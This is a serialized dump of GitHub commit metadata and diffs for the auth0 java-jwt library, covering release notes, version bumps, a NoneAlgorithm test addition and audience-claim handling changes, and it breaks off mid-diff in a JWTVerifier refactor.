     }((61de9d745bd0506287be689d2f3d224123ac156d}(sha(61de9d745bd0506287be689d2f3d224123ac156dnode_idEC_kwDOAQtL0doAKDYxZGU5ZDc0NWJkMDUwNjI4N2JlNjg5ZDJmM2QyMjQxMjNhYzE1NmQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2023-01-11T15:22:42Zu	committer}(h
Poovamraj T Th
poovamraj@gmail.comh2023-01-11T16:38:19Zumessage
Release 4.2.2tree}(h(98492367cb8cdee2481379e668af81dd85bdeb2burl^https://api.github.com/repos/auth0/java-jwt/git/trees/98492367cb8cdee2481379e668af81dd85bdeb2buh`https://api.github.com/repos/auth0/java-jwt/git/commits/61de9d745bd0506287be689d2f3d224123ac156d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuh\https://api.github.com/repos/auth0/java-jwt/commits/61de9d745bd0506287be689d2f3d224123ac156dhtml_urlQhttps://github.com/auth0/java-jwt/commit/61de9d745bd0506287be689d2f3d224123ac156dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/61de9d745bd0506287be689d2f3d224123ac156d/commentsh	}(login	poovamrajidJ hMDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_id h&https://api.github.com/users/poovamrajh'https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuh}(h,	poovamrajh.J hMDQ6VXNlcjE1OTEwNDI1h04https://avatars.githubusercontent.com/u/15910425?v=4h2h3h&https://api.github.com/users/poovamrajh'https://github.com/poovamrajh60https://api.github.com/users/poovamraj/followersh8=https://api.github.com/users/poovamraj/following{/other_user}h:6https://api.github.com/users/poovamraj/gists{/gist_id}h<=https://api.github.com/users/poovamraj/starred{/owner}{/repo}h>4https://api.github.com/users/poovamraj/subscriptionsh@+https://api.github.com/users/poovamraj/orgshB,https://api.github.com/users/poovamraj/reposhD7https://api.github.com/users/poovamraj/events{/privacy}hF6https://api.github.com/users/poovamraj/received_eventshHUserhJuparents]}(h(23e85493e19f9d1d8501d62a866525dc152551aah\https://api.github.com/repos/auth0/java-jwt/commits/23e85493e19f9d1d8501d62a866525dc152551aah'Qhttps://github.com/auth0/java-jwt/commit/23e85493e19f9d1d8501d62a866525dc152551aauastats}(totalK	additionsK
	deletionsKufiles](}(h(eaf3feec2b3755bab1128e719f293a26e39fb72cfilenameCHANGELOG.mdstatusmodifiedhdKheK changesKblob_url\https://github.com/auth0/java-jwt/blob/61de9d745bd0506287be689d2f3d224123ac156d/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/61de9d745bd0506287be689d2f3d224123ac156d/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=61de9d745bd0506287be689d2f3d224123ac156dpatchXs  @@ -1,5 +1,11 @@
 # Change Log
 
+## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/master/README.md)
+
 ## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
 u}(h(8583ed7af489606f15a387b99c3dcc4bab2d32e6hj	README.mdhlmodifiedhdKheKhnK	hoYhttps://github.com/auth0/java-jwt/blob/61de9d745bd0506287be689d2f3d224123ac156d/README.mdhqXhttps://github.com/auth0/java-jwt/raw/61de9d745bd0506287be689d2f3d224123ac156d/README.mdhskhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=61de9d745bd0506287be689d2f3d224123ac156dhuX  @@ -1,3 +1,8 @@
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+>
+> While this change won't affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can't be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
 ![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
@@ -45,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.1</version>
+  <version>4.2.2</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.2'
 ```
 
 ### Create a JWTueu(9cc069f4de8bafeb32bd73b0a046ef3b82d06582}(sha(9cc069f4de8bafeb32bd73b0a046ef3b82d06582node_idEC_kwDOAQtL0doAKDljYzA2OWY0ZGU4YmFmZWIzMmJkNzNiMGEwNDZlZjNiODJkMDY1ODIcommit}(author}(namegoofwoofemailheli0086@outlook.comdate2022-10-20T07:12:43Zu	committer}(hli.hehli.he@thoughtworks.comh2022-10-20T07:12:43ZumessageDtest: NoneAlgorithm- Compatible with the original base64 encoded jwttree}(h(eea26408dc89ecf04b04c4a7e57311384cc4824burl^https://api.github.com/repos/auth0/java-jwt/git/trees/eea26408dc89ecf04b04c4a7e57311384cc4824buh`https://api.github.com/repos/auth0/java-jwt/git/commits/9cc069f4de8bafeb32bd73b0a046ef3b82d06582
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuh\https://api.github.com/repos/auth0/java-jwt/commits/9cc069f4de8bafeb32bd73b0a046ef3b82d06582html_urlQhttps://github.com/auth0/java-jwt/commit/9cc069f4de8bafeb32bd73b0a046ef3b82d06582comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9cc069f4de8bafeb32bd73b0a046ef3b82d06582/commentsh}(logingoofwoofidJoghMDQ6VXNlcjQwMzMzMjM0
avatar_url4https://avatars.githubusercontent.com/u/40333234?v=4gravatar_idh3h%https://api.github.com/users/goofwoofhhttps://github.com/goofwoof
followers_url/https://api.github.com/users/goofwoof/followers
following_url<https://api.github.com/users/goofwoof/following{/other_user}	gists_url5https://api.github.com/users/goofwoof/gists{/gist_id}starred_url<https://api.github.com/users/goofwoof/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/goofwoof/subscriptionsorganizations_url*https://api.github.com/users/goofwoof/orgs	repos_url+https://api.github.com/users/goofwoof/repos
events_url6https://api.github.com/users/goofwoof/events{/privacy}received_events_url5https://api.github.com/users/goofwoof/received_eventstypeUser
site_adminuh}(hheli-twhJPhU_kgDOBcxQpAh4https://avatars.githubusercontent.com/u/97276068?v=4hh3h$https://api.github.com/users/heli-twhhttps://github.com/heli-twh.https://api.github.com/users/heli-tw/followersh;https://api.github.com/users/heli-tw/following{/other_user}h4https://api.github.com/users/heli-tw/gists{/gist_id}h;https://api.github.com/users/heli-tw/starred{/owner}{/repo}h2https://api.github.com/users/heli-tw/subscriptionsh)https://api.github.com/users/heli-tw/orgsh*https://api.github.com/users/heli-tw/reposh5https://api.github.com/users/heli-tw/events{/privacy}hÌ4https://api.github.com/users/heli-tw/received_eventshŌUserhǉuparents]}(h(9132ef317a5f97b89b28c33225cd4917d722a5d2h\https://api.github.com/repos/auth0/java-jwt/commits/9132ef317a5f97b89b28c33225cd4917d722a5d2hQhttps://github.com/auth0/java-jwt/commit/9132ef317a5f97b89b28c33225cd4917d722a5d2uastats}(totalK	additionsK	deletionsK ufiles]}(h(db19fc9d45b1c1e467f6c1fbbe1e80219a1b89f3filenameAlib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javastatusmodifiedhKhK changesKblob_urlhttps://github.com/auth0/java-jwt/blob/9cc069f4de8bafeb32bd73b0a046ef3b82d06582/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9cc069f4de8bafeb32bd73b0a046ef3b82d06582/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=9cc069f4de8bafeb32bd73b0a046ef3b82d06582patchX+  @@ -23,6 +23,7 @@ public void shouldPassNoneVerification() {
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
 
+        algorithm.verify(JWT.decode(jwt), false);
         algorithm.verify(JWT.decode(jwt), true);
     }
 uau(21bd83190bf3f0bcc195859ad33f9e2aa3a685d0}(sha(21bd83190bf3f0bcc195859ad33f9e2aa3a685d0node_idEC_kwDOAQtL0doAKDIxYmQ4MzE5MGJmM2YwYmNjMTk1ODU5YWQzM2Y5ZTJhYTNhNjg1ZDAcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-12T03:59:06Zu	committer}(hGitHubj   noreply@github.comj  2022-10-12T03:59:06Zumessage!Merge branch 'master' into mastertree}(h(7ee620028588dc43a2b116fd2e7ed96fbffe3316url^https://api.github.com/repos/auth0/java-jwt/git/trees/7ee620028588dc43a2b116fd2e7ed96fbffe3316uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRjuKCRBK7hj4Ov3rIwAAQSkIACPhIXYrLasAiwfGazxAJvWp
nMWI4TiGX+8WkaKF8sPulURzlH7CXWn6eSO4ojzz2RsyAU8/8HMUxJM40RdJeXOM
EpUzFgUcYmcQ2D/iqr2Jya46ZUvB0sXEouo2uvidRpojd0+PXbRflWYU7qOYymxe
hCgVrNsyfHUXd9Zct9SsqWzjGxNUaUeQuZmGAPgBfozqjsO40M/vNMUZ0x+z/pEK
QijrXm5I+2MBAFGAbTAhSjjEJlBlUb7QjVqcsOjMw/EmL2JmuAFZ6A+ZQTFWM6Z+
us2sy97LFXFIolBlOMXyp8QeDcjpcUHG0XHnzRyvxwv2sPpGgWfBGfQjp9CPtRk=
=dssA
-----END PGP SIGNATURE-----
payloadX%  tree 7ee620028588dc43a2b116fd2e7ed96fbffe3316
parent 298d52268b1fff55106767870010152291d3500a
parent 83eeb3b4404decec7ccfcc5d39df27361e9a41e8
author Jim Anderson <jim.anderson@auth0.com> 1665547146 -0500
committer GitHub <noreply@github.com> 1665547146 -0500

Merge branch 'master' into masteruuj  \https://api.github.com/repos/auth0/java-jwt/commits/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0html_urlQhttps://github.com/auth0/java-jwt/commit/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/commentsh}(login
jimmyjamesidJ7 hMDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j!  web-flowj#  J/hMDQ6VXNlcjE5ODY0NDQ3j%  4https://avatars.githubusercontent.com/u/19864447?v=4j'  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj*  /https://api.github.com/users/web-flow/followersj,  <https://api.github.com/users/web-flow/following{/other_user}j.  5https://api.github.com/users/web-flow/gists{/gist_id}j0  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j2  3https://api.github.com/users/web-flow/subscriptionsj4  *https://api.github.com/users/web-flow/orgsj6  +https://api.github.com/users/web-flow/reposj8  6https://api.github.com/users/web-flow/events{/privacy}j:  5https://api.github.com/users/web-flow/received_eventsj<  Userj>  uparents](}(h(298d52268b1fff55106767870010152291d3500aj  \https://api.github.com/repos/auth0/java-jwt/commits/298d52268b1fff55106767870010152291d3500aj  Qhttps://github.com/auth0/java-jwt/commit/298d52268b1fff55106767870010152291d3500au}(h(83eeb3b4404decec7ccfcc5d39df27361e9a41e8j  \https://api.github.com/repos/auth0/java-jwt/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8j  Qhttps://github.com/auth0/java-jwt/commit/83eeb3b4404decec7ccfcc5d39df27361e9a41e8uestats}(totalK"	additionsK	deletionsKufiles](}(h(e6b1dcd96cde8f47aa4f2449e9b71e4d7b9360cafilename.circleci/config.ymlstatusmodifiedj\  Kj]  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=21bd83190bf3f0bcc195859ad33f9e2aa3a685d0patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.1
+  ship: auth0/ship@0.7.2
   codecov: codecov/codecov@3
 
 commands:u}(h(04796fd76fbdf8e454f28ec430963aa334820caajb  CHANGELOG.mdjd  modifiedj\  Kj]  K jf  Kjg  \https://github.com/auth0/java-jwt/blob/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/CHANGELOG.mdji  [https://github.com/auth0/java-jwt/raw/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/CHANGELOG.mdjk  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=21bd83190bf3f0bcc195859ad33f9e2aa3a685d0jm  X  @@ -1,5 +1,26 @@
 # Change Log
 
+## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
+
+**⚠️ BREAKING CHANGES**
+- Make JWT constants final values [\#604](https://github.com/auth0/java-jwt/pull/604) ([poovamraj](https://github.com/poovamraj))
+
+**Added**
+- Add integration with our Shipping orb [\#612](https://github.com/auth0/java-jwt/pull/612) ([frederikprijck](https://github.com/frederikprijck))
+- Add Ship CLI support [\#609](https://github.com/auth0/java-jwt/pull/609) ([jimmyjames](https://github.com/jimmyjames))
+- Provide straightforward example for JWKS [\#600](https://github.com/auth0/java-jwt/pull/600) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Update to gradle 6.9.2 [\#608](https://github.com/auth0/java-jwt/pull/608) ([jimmyjames](https://github.com/jimmyjames))
+- Update OSS plugin to latest [\#607](https://github.com/auth0/java-jwt/pull/607) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3466] Upgrade Codecov [\#595](https://github.com/auth0/java-jwt/pull/595) ([evansims](https://github.com/evansims))
+- Update README.md [\#590](https://github.com/auth0/java-jwt/pull/590) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- Check for null token before splitting [\#606](https://github.com/auth0/java-jwt/pull/606) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3816] Update docs for verification thread-safety [\#605](https://github.com/auth0/java-jwt/pull/605) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
 u}(h(a4fa509e8d84c8c98a8f27fc4e677e657a4a0fb1jb  	README.mdjd  modifiedj\  Kj]  Kjf  Kjg  Yhttps://github.com/auth0/java-jwt/blob/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/README.mdji  Xhttps://github.com/auth0/java-jwt/raw/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/README.mdjk  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=21bd83190bf3f0bcc195859ad33f9e2aa3a685d0jm  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.0.0'
+implementation 'com.auth0:java-jwt:4.1.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.0.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.0.0</version>
+    <version>4.1.0</version>
 </dependency>
 ```
 u}(h(3649399cedbf73222cf3538482338b5f1e184244jb  lib/build.gradlejd  modifiedj\  Kj]  Kjf  Kjg  bhttps://github.com/auth0/java-jwt/blob/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/lib%2Fbuild.gradleji  ahttps://github.com/auth0/java-jwt/raw/21bd83190bf3f0bcc195859ad33f9e2aa3a685d0/lib%2Fbuild.gradlejk  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=21bd83190bf3f0bcc195859ad33f9e2aa3a685d0jm  Xy  @@ -1,5 +1,5 @@
 buildscript {
-    version = "4.0.0"
+    version = "4.1.0"
 }
 
 plugins {
@@ -9,8 +9,8 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('SIGNING_KEY')
-def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
 
 signing {
     useInMemoryPgpKeys(signingKey, signingKeyPwd)
@@ -29,6 +29,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.0.0"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6}(sha(d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6node_idEC_kwDOAQtL0doAKGQ4ZmU5YTI2NTRhNjlmZjljMzljMWZhNzExYjhhYmI2MjJhNGY3ZDYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-06-09T02:15:57Zu	committer}(j  GitHubj  noreply@github.comj  2023-06-09T02:15:57ZumessageIEmpty string audience claim should be deserialized as empty string (#663)tree}(j  (df39552d0064d6bb994623f59e95856f33bbeaceurl^https://api.github.com/repos/auth0/java-jwt/git/trees/df39552d0064d6bb994623f59e95856f33bbeaceuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkgotdCRBK7hj4Ov3rIwAAK7oIAEVPYkbWeAAuCEHyTydeKHRU
31y+IUM26dCaoDfXkWHw4fHGw4Hbbh54tQUvTSaInK48jdXE+WjC0CtQwujh2J/y
bqds5PnpsrGXd6s9htf8RC/TfCk1IuXBFrNMs1ZB2RR6z2xuEasHqjraJjMcjrBl
S71W92ftMCFY1RmORQ3pg+JBFdq0LeIr5Z1wlHtpa1YrZ2ri3QJ78zNlMEQ61MZ5
Mu1Q7cXqJG9HT6oQn4hxzoUjRzU2xkDlDnoWQBO06hFr0b+61lLlz6tWf7+6sgbJ
HlZ33dqrcpfV7w6vv87QPtPVfywW8top1Gl4A0Imf4cUFOd1r2KAxrxG1yLqFFs=
=JlVU
-----END PGP SIGNATURE-----
payloadX  tree df39552d0064d6bb994623f59e95856f33bbeace
parent 923e9c46db888c500ff44032fa900b871fae30ed
author Jim Anderson <jim.anderson@auth0.com> 1686276957 -0500
committer GitHub <noreply@github.com> 1686276957 -0500

Empty string audience claim should be deserialized as empty string (#663)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6html_urlQhttps://github.com/auth0/java-jwt/commit/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (923e9c46db888c500ff44032fa900b871fae30edj  \https://api.github.com/repos/auth0/java-jwt/commits/923e9c46db888c500ff44032fa900b871fae30edj  Qhttps://github.com/auth0/java-jwt/commit/923e9c46db888c500ff44032fa900b871fae30eduastats}(totalK	additionsK	deletionsKufiles](}(j  (b1d32a12391eb81c3c7aeb00bc9a1215d23ac32afilename=lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaraw_urlhttps://github.com/auth0/java-jwt/raw/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6patchX  @@ -54,7 +54,7 @@ List<String> getStringOrArray(ObjectCodec codec, Map<String, JsonNode> tree, Str
         if (node == null || node.isNull() || !(node.isArray() || node.isTextual())) {
             return null;
         }
-        if (node.isTextual() && !node.asText().isEmpty()) {
+        if (node.isTextual()) {
             return Collections.singletonList(node.asText());
         }
 u}(j  (c3e04013ef583271916ebe71c8b73f0328751ed4j  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6j  X  @@ -145,14 +145,14 @@ public void shouldGetStringArrayWhenParsingTextNode() {
     }
 
     @Test
-    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
+    public void shouldGetEmptyStringInArrayWhenParsingEmptyTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
 
         List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(notNullValue()));
-        assertThat(values, is(IsEmptyCollection.empty()));
+        assertThat(values, is(IsIterableContaining.hasItem("")));
     }
 
     @Testueu(c63c2c1ba51de115de60dfc82389352be852d0ae}(sha(c63c2c1ba51de115de60dfc82389352be852d0aenode_idEC_kwDOAQtL0doAKGM2M2MyYzFiYTUxZGUxMTVkZTYwZGZjODIzODkzNTJiZTg1MmQwYWUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T17:48:53Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-04-12T17:48:53Zumessage*Refactored code to improve coverage reporttree}(j  (5f9770f2813ec12d2f803914c38e133d604d23a6url^https://api.github.com/repos/auth0/java-jwt/git/trees/5f9770f2813ec12d2f803914c38e133d604d23a6uj   `https://api.github.com/repos/auth0/java-jwt/git/commits/c63c2c1ba51de115de60dfc82389352be852d0ae
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj   \https://api.github.com/repos/auth0/java-jwt/commits/c63c2c1ba51de115de60dfc82389352be852d0aehtml_urlQhttps://github.com/auth0/java-jwt/commit/c63c2c1ba51de115de60dfc82389352be852d0aecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c63c2c1ba51de115de60dfc82389352be852d0ae/commentsj  }(login	poovamrajidJ j
  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j   &https://api.github.com/users/poovamrajj,  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j1  	poovamrajj3  J j
  MDQ6VXNlcjE1OTEwNDI1j5  4https://avatars.githubusercontent.com/u/15910425?v=4j7  h3j   &https://api.github.com/users/poovamrajj,  https://github.com/poovamrajj:  0https://api.github.com/users/poovamraj/followersj<  =https://api.github.com/users/poovamraj/following{/other_user}j>  6https://api.github.com/users/poovamraj/gists{/gist_id}j@  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jB  4https://api.github.com/users/poovamraj/subscriptionsjD  +https://api.github.com/users/poovamraj/orgsjF  ,https://api.github.com/users/poovamraj/reposjH  7https://api.github.com/users/poovamraj/events{/privacy}jJ  6https://api.github.com/users/poovamraj/received_eventsjL  UserjN  uparents]}(j  (9f5a068ab0eee4264eebae3145c92b2259045a48j   \https://api.github.com/repos/auth0/java-jwt/commits/9f5a068ab0eee4264eebae3145c92b2259045a48j,  Qhttps://github.com/auth0/java-jwt/commit/9f5a068ab0eee4264eebae3145c92b2259045a48uastats}(totalK3	additionsK	deletionsKufiles]}(j  (801dac24bd8534d0a8596c71f07ff4eaee419c82filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjh  Kji  KchangesK3blob_urlhttps://github.com/auth0/java-jwt/blob/c63c2c1ba51de115de60dfc82389352be852d0ae/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c63c2c1ba51de115de60dfc82389352be852d0ae/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=c63c2c1ba51de115de60dfc82389352be852d0aepatchX  @@ -94,16 +94,32 @@ public Verification withSubject(String subject) {
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> verifyNull(claim, value)
-                    || assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
